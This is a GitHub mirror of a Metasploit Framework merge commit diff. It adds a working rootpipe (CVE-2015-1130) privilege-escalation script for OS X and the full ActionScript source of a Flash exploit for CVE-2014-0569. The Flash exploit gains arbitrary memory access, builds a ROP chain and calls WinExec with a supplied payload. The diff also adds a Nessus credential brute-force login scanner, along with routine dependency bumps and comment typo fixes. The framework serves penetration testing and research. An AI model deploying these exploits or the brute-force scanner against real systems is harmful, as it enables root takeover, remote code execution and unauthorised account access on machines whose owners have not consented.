mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile.lock lib/msf/ui/console/command_dispatcher/db.rb metasploit-framework-db.gemspec metasploit-framework.gemspec
This commit is contained in:
commit
e82fb5f836
@ -38,3 +38,6 @@ branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
||||
addons:
|
||||
postgresql: '9.3'
|
@ -56,7 +56,7 @@ PATH
|
||||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
meterpreter_bins (= 0.0.18)
|
||||
meterpreter_bins (= 0.0.21)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
@ -152,7 +152,7 @@ GEM
|
||||
json (1.8.2)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
meterpreter_bins (0.0.18)
|
||||
meterpreter_bins (0.0.21)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
|
BIN
data/exploits/CVE-2014-0569/msf.swf
Executable file
BIN
data/exploits/CVE-2014-0569/msf.swf
Executable file
Binary file not shown.
73
data/exploits/CVE-2015-1130/exploit.py
Normal file
73
data/exploits/CVE-2015-1130/exploit.py
Normal file
@ -0,0 +1,73 @@
|
||||
########################################################
|
||||
#
|
||||
# PoC exploit code for rootpipe (CVE-2015-1130)
|
||||
#
|
||||
# Created by Emil Kvarnhammar, TrueSec
|
||||
#
|
||||
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
|
||||
#
|
||||
########################################################
|
||||
import os
|
||||
import sys
|
||||
import platform
|
||||
import re
|
||||
import ctypes
|
||||
import objc
|
||||
import sys
|
||||
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
|
||||
from Foundation import NSAutoreleasePool
|
||||
|
||||
def load_lib(append_path):
|
||||
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
|
||||
|
||||
def use_old_api():
|
||||
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
|
||||
|
||||
|
||||
args = sys.argv
|
||||
|
||||
if len(args) != 3:
|
||||
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||
sys.exit(-1)
|
||||
|
||||
source_binary = args[1]
|
||||
dest_binary = os.path.realpath(args[2])
|
||||
|
||||
if not os.path.exists(source_binary):
|
||||
raise Exception("file does not exist!")
|
||||
|
||||
pool = NSAutoreleasePool.alloc().init()
|
||||
|
||||
attr = NSMutableDictionary.alloc().init()
|
||||
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||
data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||
|
||||
print "will write file", dest_binary
|
||||
|
||||
if use_old_api():
|
||||
adm_lib = load_lib("/Admin.framework/Admin")
|
||||
Authenticator = objc.lookUpClass("Authenticator")
|
||||
ToolLiaison = objc.lookUpClass("ToolLiaison")
|
||||
SFAuthorization = objc.lookUpClass("SFAuthorization")
|
||||
|
||||
authent = Authenticator.sharedAuthenticator()
|
||||
authref = SFAuthorization.authorization()
|
||||
|
||||
# authref with value nil is not accepted on OS X <= 10.8
|
||||
authent.authenticateUsingAuthorizationSync_(authref)
|
||||
st = ToolLiaison.sharedToolLiaison()
|
||||
tool = st.tool()
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
|
||||
else:
|
||||
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
|
||||
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
|
||||
client = WriteConfigClient.sharedClient()
|
||||
client.authenticateUsingAuthorizationSync_(None)
|
||||
tool = client.remoteProxy()
|
||||
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||
|
||||
|
||||
print "Done!"
|
||||
|
||||
del pool
|
BIN
data/templates/template_x64_bsd.bin
Executable file
BIN
data/templates/template_x64_bsd.bin
Executable file
Binary file not shown.
285
external/source/exploits/CVE-2014-0569/Main.as
vendored
Executable file
285
external/source/exploits/CVE-2014-0569/Main.as
vendored
Executable file
@ -0,0 +1,285 @@
|
||||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code skeleton by @hdarwin89 for other exploits
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.ApplicationDomain
|
||||
import avm2.intrinsics.memory.casi32
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var BYTE_ARRAY_SIZE:Number = 1024
|
||||
private var defrag:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var ov:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var uv:Vector.<Object> = new Vector.<Object>(100)
|
||||
private var uv_index:uint
|
||||
private var ba:ByteArray
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = ""
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var i:uint = 0
|
||||
var j:uint = 0
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
for (i = 0; i < defrag.length; i++) {
|
||||
defrag[i] = new ByteArray()
|
||||
defrag[i].length = BYTE_ARRAY_SIZE
|
||||
defrag[i].endian = "littleEndian"
|
||||
}
|
||||
|
||||
ba = new ByteArray()
|
||||
ov[0] = ba
|
||||
ov[0].length = BYTE_ARRAY_SIZE
|
||||
ov[0].endian = "littleEndian"
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i] = new Vector.<Object>(1014)
|
||||
ov[i][0] = ba
|
||||
ov[i][1] = this
|
||||
}
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
uv[i] = new Vector.<uint>(1014)
|
||||
uv[i][0] = 0x41424344
|
||||
}
|
||||
|
||||
var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
for (i = 1; i < ov.length; i++) {
|
||||
ov[i][2] = stack
|
||||
ov[i][3] = payload_space
|
||||
}
|
||||
|
||||
ApplicationDomain.currentDomain.domainMemory = ba;
|
||||
// Make ByteArray length 0 so the casi32 integer overflow
|
||||
// can be exploited
|
||||
ba.atomicCompareAndSwapLength(1024, 0)
|
||||
|
||||
var object_vector_pos:uint = search_object_vector()
|
||||
var byte_array_object:uint = read_byte_array(object_vector_pos + 4) - 1
|
||||
var stack_object:uint = read_byte_array(object_vector_pos + 12) - 1
|
||||
var payload_space_object:uint = read_byte_array(object_vector_pos + 16) - 1
|
||||
var main:uint = read_byte_array(object_vector_pos + 8) - 1
|
||||
var uint_vector_pos:uint = search_uint_vector()
|
||||
var object_vector_address:uint = read_byte_array(object_vector_pos - 16) + 12
|
||||
var uint_vector_address:uint = object_vector_address + (uint_vector_pos - object_vector_pos)
|
||||
|
||||
// Overwrite uint vector length
|
||||
var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
if (uv[i].length > 1024) {
|
||||
uv_index = i
|
||||
uv[i][0] = uint_vector_address
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||
var buffer:uint = vector_read(buffer_object + 8)
|
||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||
var vtable:uint = vector_read(main)
|
||||
|
||||
// Set the new ByteArray length
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
|
||||
// Overwite the ByteArray data pointer and capacity
|
||||
var ba_array:uint = buffer_object + 8
|
||||
var ba_capacity:uint = buffer_object + 16
|
||||
vector_write(ba_array)
|
||||
vector_write(ba_capacity, 0xffffffff)
|
||||
|
||||
// restoring the corrupted vector length since we don't need it
|
||||
// anymore
|
||||
byte_write(uv[uv_index][0], orig_length)
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
byte_write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, payload_address + 8)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
|
||||
toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
// Methods to use the integer overflow
|
||||
|
||||
private function search_object_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
var next_length:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos != 0x41424344) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
|
||||
var mem:uint = 0
|
||||
var mem_first_pos:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < limit; i = i + 4) {
|
||||
mem = read_byte_array(i)
|
||||
mem_first_pos = read_byte_array(i + 8)
|
||||
if (mem == pattern && mem_first_pos == 0x41424344) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
private function read_byte_array(offset:uint = 0):uint {
|
||||
var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
|
||||
return old
|
||||
}
|
||||
|
||||
private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
|
||||
var old:uint = read_byte_array(offset)
|
||||
casi32(offset, old, value)
|
||||
return old
|
||||
}
|
||||
|
||||
// Methods to use the corrupted vector for arbitrary reading/writing
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] = value : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[uv_index][0] ? uv[uv_index][(addr - uv[uv_index][0]) / 4 - 2] : uv[uv_index][0xffffffff - (uv[uv_index][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Methods to search the memory with the corrupted byte array
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
@ -306,8 +306,8 @@ class ExeFormat
|
||||
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
|
||||
def new_label(base = '')
|
||||
base = base.dup.tr('^a-zA-Z0-9_', '_')
|
||||
# use %x instead of to_s(16) for negative values
|
||||
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base]
|
||||
# use %x with absolute value to avoid negative number formatting
|
||||
base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
|
||||
@unique_labels_cache[base] = true
|
||||
base
|
||||
end
|
||||
|
@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine
|
||||
end
|
||||
|
||||
config.root = Msf::Config::install_root
|
||||
config.paths.add 'app/concerns', autoload: true
|
||||
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
||||
config.paths.add 'modules'
|
||||
|
||||
|
94
lib/metasploit/framework/login_scanner/nessus.rb
Normal file
94
lib/metasploit/framework/login_scanner/nessus.rb
Normal file
@ -0,0 +1,94 @@
|
||||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class Nessus < HTTP
|
||||
|
||||
DEFAULT_PORT = 8834
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LIKELY_SERVICE_NAMES = [ 'nessus' ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is a Tenable Nessus server.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is Nessus server, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = "/server/properties"
|
||||
res = send_request({'uri'=> login_uri})
|
||||
if res && res.body.include?('Nessus')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def get_login_state(username, password)
|
||||
login_uri = "#{uri}"
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => username,
|
||||
'password' => password
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||
end
|
||||
if res.code == 200 && res.body =~ /token/
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to Nessus.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
super
|
||||
# nessus_rest_login has the same default in TARGETURI, but rspec doesn't check nessus_rest_login
|
||||
# so we have to set the default here, too.
|
||||
self.uri = '/session'
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -59,14 +59,15 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
|
||||
# Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the
|
||||
# `including_module`.
|
||||
#
|
||||
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
|
||||
# @return [void]
|
||||
def self.optionally_include_metasploit_credential_creation(including_module)
|
||||
optionally(
|
||||
'metasploit/credential/creation',
|
||||
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}",
|
||||
'metasploit/credential',
|
||||
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}"
|
||||
) do
|
||||
including_module.send(:include, Metasploit::Credential::Creation)
|
||||
end
|
||||
|
@ -76,11 +76,9 @@ require 'msf/http/jboss'
|
||||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
@ -6,7 +6,7 @@ module Msf
|
||||
###
|
||||
#
|
||||
# The auxiliary class acts as a base class for all modules that perform
|
||||
# reconnaisance, retrieve data, brute force logins, or any other action
|
||||
# reconnaissance, retrieve data, brute force logins, or any other action
|
||||
# that doesn't fit our concept of an 'exploit' (involving payloads and
|
||||
# targets and whatnot).
|
||||
#
|
||||
|
@ -548,7 +548,7 @@ module Auxiliary::AuthBrute
|
||||
end
|
||||
|
||||
# Provides a consistant way to display messages about AuthBrute-mixed modules.
|
||||
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
|
||||
# Acceptable opts are fairly self-explanatory, but :level can be tricky.
|
||||
#
|
||||
# It can be one of status, good, error, or line (and corresponds to the usual
|
||||
# print_status, print_good, etc. methods).
|
||||
|
@ -243,7 +243,7 @@ module Auxiliary::Cisco
|
||||
store_cred(cred)
|
||||
|
||||
#
|
||||
# Various authentication secretss
|
||||
# Various authentication secrets
|
||||
#
|
||||
when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i
|
||||
user = $1
|
||||
|
@ -16,7 +16,7 @@ module Auxiliary::Login
|
||||
EOL = CR + LF
|
||||
|
||||
#
|
||||
# Creates an instance of a login negoation module.
|
||||
# Creates an instance of a login negotiation module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
@ -425,7 +425,7 @@ module Auxiliary::Report
|
||||
fname = ctype || "local_#{Time.now.utc.to_i}"
|
||||
end
|
||||
|
||||
# Split by path seperator
|
||||
# Split by path separator
|
||||
fname = ::File.split(fname).last
|
||||
|
||||
case ctype # Probably could use more cases
|
||||
|
@ -85,7 +85,7 @@ class DataStore < Hash
|
||||
def import_options_from_s(option_str, delim = nil)
|
||||
hash = {}
|
||||
|
||||
# Figure out the deliminter, default to space.
|
||||
# Figure out the delimeter, default to space.
|
||||
if (delim.nil?)
|
||||
delim = /\s/
|
||||
|
||||
@ -94,7 +94,7 @@ class DataStore < Hash
|
||||
end
|
||||
end
|
||||
|
||||
# Split on the deliminter
|
||||
# Split on the delimeter
|
||||
option_str.split(delim).each { |opt|
|
||||
var, val = opt.split('=')
|
||||
|
||||
|
@ -104,7 +104,7 @@ class Msf::DBManager
|
||||
attr_accessor :usable
|
||||
|
||||
#
|
||||
# iniitialize
|
||||
# initialize
|
||||
#
|
||||
|
||||
def initialize(framework, opts = {})
|
||||
|
@ -95,7 +95,7 @@ module Msf::DBManager::Cred
|
||||
ret = {}
|
||||
|
||||
# Check to see if the creds already exist. We look also for a downcased username with the
|
||||
# same password because we can fairly safely assume they are not in fact two seperate creds.
|
||||
# same password because we can fairly safely assume they are not in fact two separate creds.
|
||||
# this allows us to hedge against duplication of creds in the DB.
|
||||
|
||||
if duplicate_ok
|
||||
@ -177,4 +177,4 @@ module Msf::DBManager::Cred
|
||||
|
||||
alias :report_auth :report_auth_info
|
||||
alias :report_cred :report_auth_info
|
||||
end
|
||||
end
|
||||
|
@ -8,7 +8,7 @@ module Msf::DBManager::Import::Libpcap
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
# seen_hosts is only used for determining when to yield an address. Once we get
|
||||
# some packet analysis going, the values will have all sorts of info. The plan
|
||||
# is to ru through all the packets as a first pass and report host and service,
|
||||
# is to run through all the packets as a first pass and report host and service,
|
||||
# then, once we have everything parsed, we can reconstruct sessions and ngrep
|
||||
# out things like authentication sequences, examine ttl's and window sizes, all
|
||||
# kinds of crazy awesome stuff like that.
|
||||
|
@ -64,7 +64,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
end
|
||||
|
||||
# Only report loot if we actually have it.
|
||||
# TODO: Copypasta. Seperate this out.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exists? loot_info[:orig_path]
|
||||
loot_dir = ::File.join(basedir,"loot")
|
||||
loot_file = ::File.split(loot_info[:orig_path]).last
|
||||
@ -114,7 +114,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
|
||||
|
||||
# Only report a task if we actually have it.
|
||||
# TODO: Copypasta. Seperate this out.
|
||||
# TODO: Copypasta. Separate this out.
|
||||
if ::File.exists? task_info[:orig_path]
|
||||
tasks_dir = ::File.join(basedir,"tasks")
|
||||
task_file = ::File.split(task_info[:orig_path]).last
|
||||
@ -168,7 +168,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
# Grab the list of unique basedirs over all entries.
|
||||
@import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."}
|
||||
|
||||
# mkdir all of the base directores we just pulled out, if they don't
|
||||
# mkdir all of the base directories we just pulled out, if they don't
|
||||
# already exist
|
||||
@import_filedata[:zip_tmp_subdirs].each {|sub|
|
||||
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
|
||||
|
@ -49,7 +49,7 @@ module Msf::DBManager::Session
|
||||
# Creates an Mdm::Session from Mdm::Host.
|
||||
#
|
||||
# @param opts [Hash{Symbol => Object}] options
|
||||
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
|
||||
# @option opts [DateTime, Time] :closed_at The date and time the session was
|
||||
# closed.
|
||||
# @option opts [String] :close_reason Reason the session was closed.
|
||||
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
|
||||
|
@ -43,8 +43,8 @@ module Msf::DBManager::WMAP
|
||||
}
|
||||
end
|
||||
|
||||
# This method iterates the requests table identifiying possible targets
|
||||
# This method wiil be remove on second phase of db merging.
|
||||
# This method iterates the requests table identifying possible targets
|
||||
# This method will be removed on second phase of db merging.
|
||||
def each_distinct_target(&block)
|
||||
request_distinct_targets.each do |target|
|
||||
block.call(target)
|
||||
@ -111,7 +111,7 @@ module Msf::DBManager::WMAP
|
||||
end
|
||||
|
||||
# This method returns a list of all possible targets available in requests
|
||||
# This method wiil be remove on second phase of db merging.
|
||||
# This method will be removed on second phase of db merging.
|
||||
def request_distinct_targets
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
::Mdm::WmapRequest.select('DISTINCT host,address,port,ssl')
|
||||
@ -186,4 +186,4 @@ module Msf::DBManager::WMAP
|
||||
::Mdm::WmapTarget.all
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -182,7 +182,7 @@ class EncodedPayload
|
||||
next
|
||||
end
|
||||
|
||||
# If the caller explictly requires register preservation, make sure
|
||||
# If the caller explicitly requires register preservation, make sure
|
||||
# that the module in question can handle it. This is mostly used by
|
||||
# the stage encoder path.
|
||||
if (reqs['ForceSaveRegisters'] and
|
||||
|
@ -99,7 +99,7 @@ class Encoder < Module
|
||||
#
|
||||
NonAlpha = "non_alpha"
|
||||
#
|
||||
# tolower safe ascii - not 'A' - 'Z' (more flexable than nonalpha)
|
||||
# tolower safe ascii - not 'A' - 'Z' (more flexible than nonalpha)
|
||||
#
|
||||
NonUpper = "non_upper"
|
||||
#
|
||||
|
@ -866,7 +866,7 @@ class Exploit < Msf::Module
|
||||
|
||||
#
|
||||
# Minimum number of nops to use as a hint to the framework.
|
||||
# Nil snigifies that the framework should decide.
|
||||
# Nil signifies that the framework should decide.
|
||||
#
|
||||
def payload_min_nops(explicit_target = nil)
|
||||
explicit_target ||= target
|
||||
|
@ -228,14 +228,14 @@ module Exploit::Remote::AFP
|
||||
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
|
||||
parsed_data[:versions] = read_array(body, afp_versions_offset)
|
||||
parsed_data[:uams] = read_array(body, uam_count_offset)
|
||||
# skiped icon
|
||||
# skipped icon
|
||||
parsed_data[:server_flags] = parse_flags(server_flags)
|
||||
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
|
||||
|
||||
network_addresses = read_array(body, network_addresses_offset, true)
|
||||
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
||||
# skiped directory names
|
||||
#Error catching for offset issues on this field. Need better error ahndling all through here
|
||||
# skipped directory names
|
||||
#Error catching for offset issues on this field. Need better error handling all through here
|
||||
begin
|
||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||
rescue
|
||||
@ -289,7 +289,7 @@ module Exploit::Remote::AFP
|
||||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||
when 2 # Four-byte IP address followed by a two-byte port number
|
||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||
when 3 # DDP address (depricated)
|
||||
when 3 # DDP address (deprecated)
|
||||
next
|
||||
when 4 # DNS name (maximum of 254 bytes)
|
||||
parsed_addreses << address[1..address.length - 1]
|
||||
|
@ -5,7 +5,7 @@ module Msf
|
||||
#
|
||||
# This module provides methods for sending and receiving
|
||||
# raw packets. It should be preferred over the soon-to-be
|
||||
# deprecated Rex::Socket::Ip and Msf::Exploite::Remote::Ip
|
||||
# deprecated Rex::Socket::Ip and Msf::Exploit::Remote::Ip
|
||||
# mixins.
|
||||
#
|
||||
# Please see the pcaprub documentation for more information
|
||||
@ -379,7 +379,7 @@ module Msf
|
||||
self.arp_cache = {}
|
||||
end
|
||||
|
||||
# For compatabilty with Msf::Exploit::Remote::Ip
|
||||
# For compatibilty with Msf::Exploit::Remote::Ip
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
@ -450,7 +450,7 @@ module Msf
|
||||
